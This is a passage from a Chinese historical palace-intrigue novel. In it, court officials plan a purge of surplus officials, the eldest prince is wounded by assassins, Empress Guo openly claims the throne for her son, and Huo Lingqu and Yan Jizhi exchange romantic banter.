霍灵渠羽睫微颤,这是在告诉她,升平大长公主舍不得约束幼子,一定会放纵侯瞻渥,若侯瞻渥对假霍桑柔不能放手,霍家和侯家必将撕破脸刀兵相见。 “皇兄将五姐贬做庶人时曾有旨意,五姐五十岁前不得踏进京畿半步。”新都大长公主有预感:“五姐近几年随昌隆侯定居福建,虽然五姐还不到五十岁,但,昨夜出那么大事,昌隆侯大约会带着表妹一同进京来,乃至还会带着五姐的孙女。” “孙女?”霍灵渠讶然:“就是嬴丹若留下的独女?” “是呀,孩子十三岁了,是说亲的年纪了。”新都轻柔的语调听不出任何的情绪偏向:“不论是配吴王还是配贵妃的大侄儿,年纪都很般配。” “大长公主,我怀疑温献皇后的四公主是被嬴丹若母女所害,已经禀告圣人了。” 新都一讶,脑海中冒出个念头来,就很想笑:“都说朱家女在我皇兄的后宫兴风作浪,可真不知那些枉死的血债应该是找姓朱还是姓庄?” 百花不识人情,盛烈绽放,半空中金晖熠熠更似是要把最细微的纹理照见。 阿胜闯入太微宫找到他那位小舅,气势汹汹来者不善:“你是不是早就找到灵渠了,在皇帝册封贵妃前你就清楚皇帝属意灵渠并且已知灵渠的下落?” “正徽四年八月,下了那么久的雨,我怎么还能找不到她?”诲仰懒懒的,阿胜闻言,神情更添阴冷:“那你不告诉我,你还眼睁睁看着灵渠进宫?” “告诉你作甚,让你把她接走去做蜀王妃?”诲仰笑:“你配不上她。” “你说什么?”阿胜大有又要跟他翻脸的架势。 “你以为你们为何能成功?”诲仰反问,阿胜冷静丝:“你什么意思?” “她有凤命,前世今生她都有凤命,她才能握住契机扭转乾坤,今生又熬过烈焰焚烧的劫活过来而不是白白给他人做嫁衣。可你有帝王命吗?”诲仰跟这大外甥以前像仇人,现在关系仍然差:“如果你有,我哥当年何至于拿命去搏一个生机?” 阿胜握拳:“你以为我会相信你?” “我哥当年一直想不通还差什么,直到他看见霍灵渠,还在襁褓中的霍灵渠。”诲仰浑像在对自己说:“我想他看见霍灵渠时就什么都明了了,是命数,受得住苍生奉养的命数,也就是,非帝王命和凤命不能也,他不只是为族人而死,还是为霍灵渠而死。” 沉默会儿,阿胜有丝松动像是信了:“能改吗?” “改她的凤命?”诲仰好笑:“你给姬家惨死的族人报仇了吗?你连给仇家放把火都要手下留情啊,就算能改她的凤命,你还有没有脸娶她,你没点数啊。” 阿胜掉头就走。 皇城的早朝在辰时中结束,下朝没半个时辰,皇帝又把丞相和两位副相、魏王、英王、穆国公和显国公、吏部尚书及两位侍郎传召去宣政殿议事,太上皇同在。 第一个议题是对地方上的调整,皇帝嬴忱璧道:“朕原想增两座行省,朕想岔了,朝廷既要整肃吏治还岂有再增之理?朕欲削减两座行省,吏部重新拟章程吧。” 好嘛,吏部刚备好的方案就没用了,薄尚书平静地领旨意。 皇帝的第二个议题是肃吏治:“朕打算朝廷先派人下地方暗访,你们有人选举荐吗?”没人有反应,嬴忱璧扫视遍,点名:“霁之?” “禀圣人、陛下,臣以为蜀地和云南可由蜀王和镇南侯上报,福建由昌隆侯上报,此外臣还有五人推荐:薛述聪、侯瞻让、班蕴堂、霍巨浪、晏朗之。”晏霁之明确道。 穆国公立时在心里骂霍巨浪,看看人家比你小都已经够到安排你做事了个混球! 嬴忱璧问:“霁之推荐他们的理由是什么?” “他们不愁富贵,愁没有上进的机会。”晏霁之补充道:“圣人和陛下若是担心他们阅历浅未必能应对地方上的繁杂,可安排两班人马,明暗相辅。” 嬴忱璧看向父亲,太上皇允道:“霁儿的提议可行,两日内,丞相拟份明访的名单上来,穆国公拟份暗访的名单,五月让他们下地方清查,六月报上来汇总。” “再拟份清除四千名冗官的章程,中书拟一份,吏部拟一份,其余四个再一起拟一份。”太上皇划好组,穆国公霍秦川瞧这包括他在内的其余四人差点笑出来,晏霁之都想笑,其余四个:魏王和他爹英王晏墉、穆国公、显国公,圣人太会安排了。 嬴忱璧端起茶盅喝茶,魏王和这群老头都很平淡,太上皇再隐有烦躁地训示:“当前,京畿有三千多名官员,地方上一万四千多,就京畿清八百,地方上清三千,五月前你们把章程呈上来,六月十五前不得走漏一丝风声,寡人不想再节外生枝了。 前线战事未休,江南还要大刀阔斧地整饬,不是小事,两个月内你们把裁冗所有可能会出现的祸乱预判好提前安排妥当,寡人不想看你们筹备两个月还筹备不好,待到七月,朝廷要整肃吏治时还能因为几只蛀虫就闹出一点乱子来。” 众臣颔首领旨意,太上皇的烦躁很明显了,大家都能察觉出来。 “昌隆侯私自开采的几座矿,朕和圣人已决意封掉,但在此前还是该知会昌隆侯一声,免得他不懂事伤圣人的心。”嬴忱璧不疾不徐问:“该让谁去知会他?” 晏霁之即应:“陛下,臣有个人选推荐,但怕显国公会打我。” 在座的视线瞟向他俩,显国公憋住气,嬴忱璧笑道:“无妨,说吧。” “薛述嘉。”晏霁之报出人选,看热闹的不约而同腹诽:你的确有自知。 霍秦川不厚道的憋笑,这提议损得还不如说让霍雄鹰去呢。 “这会否稳不住昌隆侯?”嬴忱璧委婉否掉,晏霁之不以为然:“那就再把谷王加上,圣人的弟弟和外甥,陛下的叔叔和表弟,谁还能比他们有份量?” 刚以为他是在寒碜显国公的旁观者正经些,英王世子的意思是,派人去走个过场,身份够响亮,实则没什么用,但就是要用这样的人去威慑,告诉昌隆侯没把你当回事,你识趣的就不要再闹事。倘若就是去耀武扬威,派薛述嘉确实合适。 嬴忱璧斟酌:“这几座矿背后可不只昌隆侯一家,其他几家也让他俩去知会?” 晏霁之对奏:“臣以为,对另外几家,封矿和知会可同时进行,让护国公世子回来趟,由穆国公世子和护国公世子领兵封矿,再派人在同个时间知会这几家人。” “如此,朝廷就过于强横了。”嬴忱璧话锋一转笑:“不过朕喜欢,父皇?” “就这么办吧。”太上皇允道:“五月末,让谷王带着嘉儿先动身下福建。” 一内侍小跑到宣政殿外向随侍在外的大总管汇报,蒋厚运忙进殿禀告:“圣人,陛下,魏王府遭遇刺客,大皇子和魏王世子被刺客重伤,都已昏迷不醒了。” 不相关的九位各自低头装深沉兼忧虑,心中差不多都冒出两字:来了。 太上皇带着皇帝和魏王赶去魏王府,晏霁之不想和群老头同行,率先走掉。 显国公拽过霍秦川问:“真是庄太妃和郢国公府合谋办下了那桩阴谋?” 他们还三三两两走在宣政殿前的广场上,地方宽阔,随意谈,不必怕被偷听。 霍秦川嗯哼,班丞相围过来,显国公难以置信:“一点风声都没传出来过啊。” “是啊,十几二十年啊。”霍秦川恭维,晏副相等几位随之聚拢过来。 “不该啊,庄太妃和鞠家得是什么交情才能让鞠家帮她做下这桩阴谋,她又该有多信任鞠家才能让鞠家拿下她这样的把柄?”显国公猛然意识到:“鞠太妃的十皇子?” 霍秦川冷嗤声,班丞相叹息,薄尚书想骂造孽,房副相笑,这可真是显而易见了,既然庄太妃在私底下都已经笼络住鞠家为她做事了,她可能还会让郢国公府有自家的皇子外孙吗?已故的老郢国公和郢国公父子俩是得有多昏啊这都能迷糊。 “翟侍郎应该会丢下河道巡查赶回来吧?”薛侍郎猜测,翟侍郎,昌隆侯夫人的胞弟,虢王世子妃朱氏的舅父,现工部右侍郎,前些天出京巡视京畿周边的河道去了,但外甥女的右臂都被砍了,他不丢下差事赶回来大约是不可能的。 霍秦川忽然诡秘笑:“哎,你们猜,魏王府这刺客会卷进多少人?” 几人相视几眼,一时没想到的都被牵引着怀疑了,朝中明显是投在昌隆侯门下的那几个会被卷进去?薄尚书皱眉:“虢王当真在暗中和昌隆侯交好吗?” 这意味着什么大伙儿都清楚,以虢王昨夜的态度,敏锐的都察觉出端倪了。 晏霁之来长春宫时霍太后刚携皇后赶往魏王府,来的真是时候,霍灵渠在新都大长公主离去后仍在花园待着,还在花园呢,他就来了,嗔他:“你也太会挑时候了,大皇子在魏王府遇刺受重伤了,我姑母刚带着皇后随太上皇和皇帝出宫了。” “所以我过来了呀。”晏霁之含笑落座。 “你这不成心让皇帝挑你的刺嘛。”霍灵渠语气中掩不住的是亲昵。 宫人们奉过茶后退下,晏霁之关切道:“我怕你吓到了,不来见一面,不安心。” “我连那只麻袋的影子都没看见,能吓到什么呀。”霍灵渠心里暖暖的,就觉得窝心:“还是班太妃和蒙太妃要走时景福殿的变故传来,她俩吓到了。” 晏霁之抬手想抚抚她的脸颊还是忍住了,算昨夜的账:“好,那我就放心让你还债了,昨夜你赢原牧炽的招数,你是想用来对付我吧?” 霍灵渠僵下又手抖下,晏霁之呵呵呵:“你自己说吧,怎么给我赔罪?” 沉默下,霍灵渠站起来想撒娇赖掉时被晏霁之制止:“不要往我怀里钻,我们在花园,皇帝的眼线大约会过来观察,我只想没人能偷听我们谈话,不想被你连累。” 霍灵渠重新落座,连撒娇都意兴阑珊了:“我还想给六哥哥做两身衣裳呢。” 晏霁之褒奖她:“你可会戳我的心窝了。” “我愿意给你做些衣物呀,可~能给得到你手上吗?”霍灵渠捏颗樱桃吃。 “所以这笔账你就打算赖掉了?”晏霁之挑明她的心思,霍灵渠又僵下,托腮看风景,晏霁之赞:“你装没事人的本事已经修炼到不要脸的境界了,恭喜你。” 霍灵渠犹若未闻,仍然装腔观赏风景。 “两个选择,要么你给我赔罪,要么我索赔,你应该很清楚,我向你索赔肯定比你主动给我赔罪要让你付出的代价大。”晏霁之警告,霍灵渠当耳旁风略过,她当然想过踹晏霁之啊没想过才是出奇了,所以她必须赖掉,否则她会很惨的。 “行啊,我替你选第二种。”晏霁之再问:“今早找滕王什么事?” “哦~”霍灵渠抬手掩唇,把事情告诉他,晏霁之讶然:“有这等事?” “嗯,真的,原大哥人是真好。”霍灵渠感慨:“我在北境时就跟他和护国公说,这若是我爹我大哥他们遇到这种事,那位铁定连骨头渣都没了,你们心地是真好。” “难怪前世圣人宽恕堂侄女,原家除原牧炽之外都没了后,章醇郡主没多久就暴毙,就是老六和行知做的吧。”晏霁之肯定猜测,霍灵渠赞同:“嗯,原本我是要请魏王帮忙,魏王跟我说他们两个会希望能亲自动手,所以我和魏王才没出手。” 晏霁之诧异:“此事,护国公夫人都不晓得吧,怎会让你知晓?” “我和行知发现的呀。”霍灵渠解释道:“章醇郡主在蒲州养病两年半,我和行知去探望了几回,不正常,太不正常了,我们就潜入山庄查探个究竟。”霍灵渠再把前天在魏王府的发现告诉他,晏霁之怔下笑起来:“这颗棋子埋得够深了。” “这样的暗棋应该不会少。”霍灵渠看向他,心情逐渐低落:“我第一次觉得圣人禅位对社稷安稳有大利,毕竟愿意安定的人肯定比想叛乱的人多多了。” 晏霁之又想抚抚她的脸颊,忍住,改打探:“灵渠,你知道你母亲的闺名吗?” “不知。”霍灵渠摇头,晏霁之嘱咐:“你帮我问问你爹吧。” “你要知道我母亲的名字做什么?”霍灵渠奇怪。 “我觉得有点古怪,姬太妃告诉你她弟弟的名字作甚,她若想告诉你,应该是告诉你、你母亲的名字呀。”晏霁之质疑,霍灵渠想想认同:“是有点古怪。”又理解道:“可能,她就是想告诉我她弟弟的名字,随她吧,还能管得了别人的想法吗?” “我母亲的名字,我幼时就问过。”霍灵渠浅浅叙道:“但爹爹不愿意再念及悲痛往昔,母亲也不愿意让我念着她,特意叮嘱爹爹不要告诉我,我是问不出来的。” 晏霁之眼底疑窦生:“毕竟是你名义上的母亲,怎会连个名字都不告诉你?” “不告诉我就不告诉我,反正有没有名字都是我母亲。”霍灵渠不在意。 “难道你不想知道你母亲的闺名吗?”晏霁之问,霍灵渠辜负道:“没有想法。” 晏霁之被噎得忍俊不禁:“我想知道,你帮我问问你爹吧。” 霍灵渠拒绝:“你把这点好奇心放掉吧,我不会去戳我爹爹的心窝。” “什么叫戳你爹的心窝呀?”晏霁之哭笑不得。 “霁之,我离家十六七年,你让我爹情何以堪?午夜梦回,他怎么面对我母亲,我再打探我母亲的名字就是在他刚撕裂的伤口上撒盐。”霍灵渠恳求:“你不要问了,你也不要撇开霍家去向国师打探,当我求你,把这点好奇心和疑惑放掉吧。” 晏霁之长叹一声:“好,我不问了。” 霍灵渠笑逐颜开剥只夏橙给他,晏霁之哀怨:“你表哥可能入京了。” “真的?”霍灵渠惊喜:“我爹告诉你的吗,可我爹怎么还没来告诉我呀。” “不是,我猜的,我遇到了个叫阿胜的人很像你描述的阿胜,我想,如果他是你表哥,你回霍家省亲,他应该会去见你。”晏霁之心中郁闷,多好的碰面机会呀,大概要被蜀王给搅没了。相比之下,霍灵渠就高兴了,笑容比阳光灿烂:“嗯!” “能见到表哥就这么高兴吗?”晏霁之吃味:“你对我有过这么欢喜的笑吗?” “没有吗?”霍灵渠装傻:“有的吧,你忘了而已。” 晏霁之瞪她,彼此心知肚明的某个人在睁眼说瞎话,霍灵渠只好想抱他哄哄,没想,刚要站起来就被制住:“忍住,虽然我也忍得很辛苦,忍得不想忍了。” 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霍灵渠一怔:“你的意思,她会想,我被害惨至此,这堂姐凭什么还活着?” “嗯,若非霍家需要震慑,昨夜若将小朱太妃留下,这庶妹同样逃不过。”晏霁之应,霍灵渠瞅瞅他欲言又止,晏霁之哼哼:“憋着什么坏呢?” “我想跟朱太妃做个交易,你表姐当年是否是庄氏母女所害,朱太妃应该清楚,我们救她一命让她给我们个准话,她应该愿意。但是——”晏霁之应该要嫌这桩交易是在侮辱他,霍灵渠闷头签桃肉,晏霁之再褒奖:“不错,还知道有个但是。” “你的讲究是多呀。”霍灵渠劝:“就算她可能是帮凶,还是两回事嘛。” “这交易,你就别妄想了。”然,晏霁之话锋一转又道:“不过,你可以和嬴忱璧谈谈,皇帝关注着也利于揪出他们埋在皇宫中的暗钉,对你也能多一分安全。” 霍灵渠感到股悦然,抿笑低低头,倒也不是害羞,淡淡的暖心吧:“好。” 两个人这样坐着是煎熬,晏霁之吃颗樱桃降降浮想,再讨债:“对了,我昨夜想起来,你还欠我一个大人情,必须得还。” “嗯?”霍灵渠眨眨眼:“是什么呀,我还欠你什么人情了?” “你总嫌我挑剔,可若非我挑剔,我很珍惜我自己包括我的身体,我岂不是在跟你重逢之前就早已被糟蹋了?我珍贵的童贞还能是给你的吗?我还能是你一个人的吗?” 晏霁之憋住坏笑揶揄:“这还能不是你欠着我吗?” 霍灵渠:“……”忍住争辩,霍灵渠表态:“我不觉得这个事算我欠你。” “你不觉得重要吗?”晏霁之自然是强词夺理,霍灵渠:“……” “只要我觉得这个事算你欠我的,你就得补偿我,是吧?”晏霁之偷乐。 霍灵渠捏捏拳头:“有什么了不起,六哥哥也从不随便让女子碰他。” 晏霁之还是能占上风:“你拿我跟别人比?” 这臭毛病!霍灵渠在心里骂他:你怎么不去登仙啊! 还好,乐邑长公主和霍海啸前后脚过来拯救了她,乐邑气色不大好,没有赏花的兴致,拽着童年小伙伴回殿阁里说话。 霍海啸和晏霁之去长春宫的正大殿前晒太阳。 太阳光暖融融的,照在人身上格外熨帖,霍海啸仿佛都柔和了些:“昌隆侯这第二幕僚不怎么样,相继有暗钉赶回去报信,他竟然都不想昨夜会有暗卫潜入虢王府。” “你还不如说,难怪虢王府能窝囊几十年。”晏霁之笑侃:“今儿宣政殿议事,你是没看见太上皇的气有多不顺,昨夜的事够大了,虢王居然还能大半夜的请昌隆侯的幕僚去议事,他是生怕皇帝和太上皇不怀疑他还是他不好对昌隆侯交代?” “不正是窝囊几十年了才自觉不必再窝囊了么。”霍海啸恭维,虢王这份志向是先虢王留给他的,不难猜,所以才更让人瞧不起:“你可以给魏王送个人情了。” “你贵妃妹妹前天送过了。”晏霁之把刚获悉的情况转达给他。 “不至于吧?”霍海啸有点难以置信:“原牧烈这都能忍?” 原牧烈,护国公世子,原牧炽的大哥,章醇郡主的丈夫。 晏霁之默默捂把脸,霍海啸顿时训他:“你很危险了,难怪要捂脸是吧?” “好了好了,我跟你说正事。”抑住哭笑不得,晏霁之正经道:“只是一个柰果而已啊,我们都没发现过罗方渡居然是昌隆侯埋在魏王身边的暗钉,罗方渡也几乎没有破绽,若非被灵渠察觉,我甚至愿意赞他没有破绽,偏偏一个柰果就让他露馅了。 还有昨夜的阴谋,单从计策论,是上策吗?是啊,可惜,朱家姐妹和虢王撑不起来。前两天好些个太妃都瞧出小朱太妃生前的破绽了,霍家最初没顾及都会发现。 这桩阴谋更可以点到为止,朱家只是冲着霍家而来,我们都没想过还能有额外的收获。偏偏虢王上赶着招摇,让太上皇不相信昌隆侯有反心都变成了宁可错杀都绝不放过,让他们苦心孤诣多年在一夜间崩塌,可难道是什么大事让他们崩塌吗?” 晏霁之摇头:“不是的,都是些细微破绽。” 霍海啸同意:“是值得引以为鉴。”蓦然地,霍海啸黯然自嘲:“但你这么一说,死掉的老郢国公可比昌隆侯这第一幕僚能耐多了,鞠家布下的那桩阴谋令霍家十多年都没察觉啊,若非人家有本事,就是霍家太自命不凡了吧,否则何至于?” “孟怋乂没见过虢王和小朱太妃,已故的老郢国公可是和霍家相识相交数十年,这怎么能有得比?何况你小叔霍枫叶不还是早早的识破了吗?”晏霁之宽慰,霍海啸笑笑没接话,晏霁之跳话题道:“雷刚回京来应该要奔赴北境吧。” “应该吧,南北前线必是要彻查了,北境应该少不了要空出位置来。”霍海啸心念一动,揣摩道:“嗳你瞧着,下个月江南会不会要生出点事端来?” 晏霁之怔愣下恍然:“你这么一说还真有可能,皇帝可要把现任福建总兵调往江南啊,若安西众将敢闹事,江南又怎会生不出事端来?不过,”他弯弯眼笑:“皇帝不是想整饬江南能有一千万贯送进京畿嘛,你瞧江南巡抚和江南总兵的身家够吗?” “我瞧你这张脸真是祸害了。”霍海啸嫌他:“没小姑娘在你眼前,省省。” “大舅哥,我媳妇被抢走了,你不让我笑,还想让我哭啊。”晏霁之反嫌。 霍海啸呵呵:“你娶妻了吗?我怎么没喝过你的喜酒啊?”还媳妇?亏他有脸喊! 晏霁之及时打住:“我在想,代王的志向应该比虢王只多不少,他们会生出这份志向,除了对权欲的渴望外还有一个共性。”晏霁之深刻认识到:“是一类人的通病。 这类人不论是看到能有点牵连的本家还是外人风光便肖想着这份荣耀应该是属于我的而从不掂量自己的斤两,若是他,怕是早把自己和家业折腾没了。” 霍海啸随他言归正传:“若不然,世人怎么多爱听好话呢。” “武襄侯府怕是要悬了。”晏霁之看他说。 “这倒是,太上皇杀心已起,还能有多少耐心留给侯瞻渥作妖?”霍海啸遥望向蓝天,挺拔的身影试比山峦稳:“皇帝和太上皇都不会让昌隆侯轻易死的,否则能清算多少?既然虢王和昌隆侯想反,两位至尊不把他们用尽了,了不了。” 他们前方,皓日当空。 乐邑长公主是被她母妃喊进宫的,她来长春宫也没什么事,她就是心里堵得慌想发泄,她也不需要霍灵渠宽慰乃至都不需要霍灵渠说话,能让她发泄场就好:“我知道对我母妃而言,女儿和儿子没得比,她当年小产了,她很伤心,我理解,我也难过。 我知道昨夜太妃宫里发生的事后我也恨朱家和庄太妃,可毕竟是二十年前的事了,她至于悲痛得好像她没有当年失去的那个胎就不能活了一样吗? 她到底是哭孩子还是哭她自己,她在意悲痛的是不是根本不是孩子没了,而是没有皇子,她没法再去争些什么,最后只能做个太妃才那么歇斯底里……” 霍灵渠垂眸。 她想到个词,因祸得福,虽然很残忍。 但,既然前路注定危难重重,智小谋大根本撑不起,能不涉足自然也是幸运。 从太微宫调来的千名神策军将魏王府牢牢围住,太医署派遣来二十名太医,皇帝传下口谕派二十名太医足以否则整座太医署搬入魏王府都有可能,其中,四名太医看顾魏王世子,十六名太医守着大皇子,魏王妃也是,亲儿未醒,她也只能守着大皇子。 刑部和大理寺的人也都已经候着了,堂兄弟俩遇刺时陪同的奴婢皆已被扣押。 圣驾至,太上皇率众来到大皇子暂住的院落,刑部和大理寺众人以及宫人们留在庭前。皇帝还把霍雄鹰带来了,霍雄鹰既不是宫人也不是来查案的,皇帝也没让他在廊前止步,他自然跟着进屋了。 霍漓江腹诽,皇帝把霍雄鹰带来绝对不怀好意。 忽瞥见两个奴婢悄摸摸走到廊下去拉扯赖嬷嬷,霍漓江受不了地转头。 刑部尚书和大理寺卿相视眼,俩老头神情微妙地几不可察,都当没看见。 猜都猜到了,这是为被扣押的奴婢找赖嬷嬷,正因如此才闹笑话呀!在两位至尊面前,在大皇子遇刺遭大难面前,椒房殿是多没规矩才如此不成体统。 太上皇带着媳妇和俩儿俩儿媳进屋,迈过门槛刚走两步,郭皇后再难按捺,疾冲到病榻前扑倒在昏睡的儿子身上哭:“皇儿你怎么了呀,皇儿你醒醒呀你不要吓母后啊,这江山还要你来继承,你还要做皇帝的呀,你不能这么睡过去呀,皇儿你快醒过来呀……” 赖嬷嬷的女儿、大皇子的奶娘赖姑姑忙扶着皇后。 大皇子遭遇刺客时她没陪同,没被扣押,同样没觉得皇后哭得有何不妥。 主治的院判走到陛下身侧,想禀告大皇子的伤情以及请示得将皇后娘娘扶开,这样摇晃对大皇子不好时听到那两句要命的话,僵住了,另外十五位太医都僵住了。 霍太后和魏王在郭氏刚哭上时都没掩饰不耐烦,直到郭皇后喊出对儿子的期许,太上皇和皇帝嬴忱璧、霍太后、魏王夫妇、霍雄鹰全被吸引着微微瞪眼睛注视她。 131. 第131章 自古,隐忍的皇后,多;煎熬的皇后,多;随心所欲的皇后,真不多。 对,按礼制,嫡长皇子应是储君的不二人选,但皇帝还没立储呀,何况储君被废的例子还少吗?在皇帝还没立储时中宫皇后在皇帝和太上皇面前嚷嚷着她儿子要承大业要做皇帝,是嫌皇帝怀疑不了她的心思吗? 霍雄鹰的白眼都快翻到额头顶了。 魏王妃看向丈夫,魏王受不了了,嬴忱璧怎么忍的啊居然还没把这种货色送回老家! 霍太后睇过眼魏王,心里嗤笑,你娘和郭氏还不是半斤八两么,郭氏再哭会儿,保不准圣人都要忆起对原配的厌恶了,三十年前,圣人御极前六年尚未册立储君时,任皇后整个儿不就已经是副储君该是她儿的架势么,当谁还看不出来吗?! 太上皇注视半刻钟,眼前的儿媳妇还只顾哭泣,他收回视线垂下眼睑。 正徽帝嬴忱璧看眼太上皇父亲,未及多言,崇孝长公主夫妇、晋王夫妇、湘王夫妇、两位小王爷和因乐邑还没出宫而独行的薛述聪齐齐来探望,约着来的,他们就落后圣驾一步,圣人和陛下前脚进魏王府,他们后脚就跟过来了。 然后他们就都没有防备的迎接到了皇后的伤心,湘王神奇了,晋王心情很差,闻言面色都有点诡异了,相互看看,得出个结论,难怪这屋里的氛围有些不正常。 画栋雕梁的屋宇唯哭声飘扬,郭皇后哭了一刻钟还不见停歇,嬴忱璧交代院判:“再拨四名太医去看顾魏王世子,大皇子这儿有十二个太医守着足够了。” “陛下?”郭皇后敏锐觉察到,咻得下转头反对:“皇儿如此危急的关头,整个太医署搬过来都嫌少的,才十来个太医照看若害皇儿有个闪失,谁担待得起?” 霍雄鹰都懒得嘲了,晋王妃优雅蔑笑,这嫂子哭这么久怎么也没几滴泪呀。 魏王妃低低头盖住眼底的思绪,在此前,前朝后宫看郭皇后不识大体立不起来,但勉强也还有点体面,是他们没看清吗?她内里竟是如此上不得台面吗? 湘王妃看过婆母和丈夫,想,大皇子应该保不住了吧。 哪怕大家清楚郭皇后和郭家的心思,但,没有破桶窗户纸,霍家还能把最后点亲戚情面兜住;可这会儿皇后捅破了窗户纸,霍家就算为安抚一众追随者都不能不把大皇子废掉吧,否则将来谁能落好?霍家若是连安全都不能给拥趸,谁还肯追随? “父皇,咱们去看看小世子吧。”嬴忱璧上前步扶着太上皇,太上皇嗯声,由着皇帝扶他离开,霍太后和魏王等人都没迟疑停留,转眼间大家伙就全走光了,众位太医面面相觑,圣人和陛下就这么走了,连大皇子的伤情都不问就走了?! 院判指四名太医去照看魏王世子,四人正要出屋,郭皇后怒叱:“站住!谁让你们走的,魏王世子那儿有两个太医看着还不够吗?都给本宫回来,太医署剩下那些太医也全部传来,大皇子若有一丝一毫的闪失,本宫唯你们是问!” 四位太医有默契地径直往外走,郭皇后被气得心口疼,连连发怒,院判顶一句陛下有令就不再多言,赖姑姑忙安抚皇后,在屋外的赖嬷嬷也急忙冲进屋来安抚皇后。 还留着的十余位太医站着当木桩,谁都没想提醒:皇后你这么吵闹对你皇儿养伤不好。何必呢,没眼瞎的都看透郭皇后的品性了,又不是要找罪受。 赖嬷嬷母女稳住皇后,没一会儿,一道命令送到刑部和大理寺的人面前:皇后让他们把扣押的大皇子身边的宫人放了。刑部尚书和大理寺卿俩老头面无表情,什么话都没有,意思就是让霍漓江做主,霍漓江想挡回就挡回,想往上报就往上报。 霍漓江派个小吏去上报给皇帝。 小吏带回的陛下的口谕是:放了吧。 乐邑长公主带着小妹匆匆赶来魏王府,薛述聪将人在二门前截住:“圣人和陛下都已经在前院了,你带乐阳看望过魏王世子再去给父皇和皇兄请个安就行了。” “啊?”乐邑诧异,看见晋王夫妇散漫地踱步过来,怪道:“出什么事了?” “皇后还在哭呢,哭她的皇儿还要继承大统做皇帝的可不能睡过去了。”晋王妃嗤笑:“嫂子你若是带着小妹过去,这话你是当没听到还是当听到了呀?” 乐邑没懂,六岁的小姑娘都糊涂了,仰头奇怪地看着哥哥嫂嫂姐姐姐夫。 薛述聪详细阐述遍,乐邑懵了:“当着父皇和皇兄的面,她就在那儿喊?” “唉。”薛述聪粉饰道:“皇后太过伤心,可能顾不上那么多了吧。” “还能顾得上一群奴婢。”晋王妃好笑地拆亲哥的台:“我们在屋里,她一眼不看,知道她椒房殿的奴婢被扣押着,她可上心了,不管圣人和陛下在前,不管她越权行事会被参本,不管这群奴婢中可能有害她皇儿的细作,就传令要放掉要这群奴婢。” 郭皇后会有这么糟糕吗?乐邑拧眉又很快舒展,展笑道:“谢过妹妹提点了,那嫂嫂带乐阳去看看魏王世子。”薛述聪要走又被她拉住:“你陪我和乐阳一块儿去。” 薛述聪陪媳妇和六岁的小姨子走一趟,乐邑边走边问:“蜀王没来呀?” “没!建威侯府都还没来人,霍雄鹰猜这是故意摆给圣人和陛下看,郭家要等姓霍的走了再过来,真不嫌会膈应人。我还跟他赌了,但照目前看大概要被霍雄鹰言中了。”薛述聪也嫌这股讨嫌劲儿,乐邑懒得管建威侯府的德行,就问郭皇后的情况。 “我想不通,皇后、皇后她……她是在魂游吗?” 薛述聪没接话,乐邑也就没再追问,而是说:“晋王脸色很差。” “这刺客能不把庄太妃卷进去就出奇了。”薛述聪很平静。 太多人都猜到了,这刺客出来,好多人就都有数了。果然,午时未过,百名神策军赶往皇城内廷将庄太妃的住处禁锢起来将庄太妃软禁,庄太妃身边的宫人全部与她隔开。 晋王赶到慈寿宫要见生母被挡回,气得狠狠发泄通后去找显国公。 “这根本不是我母妃做的,是老四老五在栽赃陷害!” “但是圣人默许了,现下出动的是太微宫的神策军而非皇城的禁军。” 显国公寸步不让:“老臣早提醒过,王爷也有数,可太妃偏要一意孤行,眼下只不过是陛下和魏王提前动手了而不是能抹除太妃留在魏王府的痕迹。 谁都清楚这就是个圈套,甚至是个阳谋,明明白白送给庄太妃的阳谋,只要她有动作,您的两位兄长就能收网了!可太妃还执意往里跳,能怨谁;她都跳进去了,她还能脱身吗;甚至圣人前些天都敲打过了想让她收手,可庄太妃呢?” 显国公冷静下规劝:“王爷还是置身事外吧,这刺客必会由废楚王的余孽来承担,整个庄家都得填进去,王爷想让此事到庄家为止还是想引火烧身全在您一念之间。” 晋王攥紧拳头,单薄的身形仿佛又回到11年前他兄姐遭难时的悲怆无力。 薛侍郎来找兄长撞见晋王在,默默避开会儿,晋王走了,他才现身。兄弟俩外出用膳,还在酒楼遇见了晏霁之和霍海啸,大家倒是都不介意一起坐下来聊聊。 “魏王府传出来的消息,两位世子耳闻了吧?”薛侍郎起调。 霍海啸和晏霁之一样的不想置喙,薛侍郎揣度:“这是否有些不寻常?” “寻常,只是薛侍郎才看见这位的本来面目。”霍海啸搭个腔。 “可若这位的本来面目如此不堪,大家怎会四五年都没看穿?”薛侍郎也没再称皇后,郭皇后和建威侯府立不起来,许多人仍看好郭氏,何故?自是因为他们认为陛下对郭氏母子情份深厚,可郭皇后今日在给大家看什么? 他们不至于因此就断定陛下对大皇子没有寄予厚望,但任谁都敢断定此前看错了,那么大皇子还能有前程吗?呵,霍家不干预,郭皇后都能把自己作死了。 “前几年有做丈夫的帮她遮掩。”霍海啸讥讽:“若不修饰,太难看了。” 薛侍郎微怔,晏霁之估摸着这未来的大舅哥八成有火,如此难看,皇帝以前是多费心才保住郭氏的体面还算过得去,能令他这么费心的女人当真不是他心里的人吗?若是,皇帝还惺惺作态个什么劲儿啊,想冲着霍家就明着来,何至于这么虚伪? 显国公古怪:“可你们不觉得这位的言行有些令人费解吗?”霍太后在啊,郭皇后怎么还能在霍太后面前这么找死,他真不能理解魏王府传出来的消息。 晏霁之道:“还只会随心所欲吧。” “随、随心所欲?”显国公被噎着了,但按魏王府的消息,这随心所欲四字还真没错:“这位的心性是不是不大正常呀,正常人没得这么不知死活吧?” “按她丈夫的感悟,她对皇帝丈夫都是尊己卑人。”晏霁之推测:“和佟家半斤八两吧,她会把所有她自以为的事当做想当然,明年将辞后位对她没影响;况且是她将辞位,又不是大皇子将辞位,她自然想当然自觉她的儿子要承继大统。” 尊己卑人?显国公咂摸下,还是不大理解:“可她难道不怕霍家吗?” “霍家是打杀她还是打杀她的儿女和娘家了?”晏霁之执酒壶倒杯酒,失笑道:“霍家没做的事,国公爷指望她能想得到岂不是为难她吗?” “陛下的性情是真好了。”显国公再捋一遍不得不感叹,很明了了,不是霍家强抢后位是皇帝要给自己就能把她自己和儿女都作死的原配安排条活路。 “独此一家而已。”霍海啸恭维,同桌的三位不约而同看他,晏霁之转而低头略沉默,薛侍郎轻咳打圆场:“郢国公今早进宫看望鞠太妃了。” 昨夜蜀王撒下的密报传到郢国公手里了,郢国公今早找妹妹为何事不言而喻。 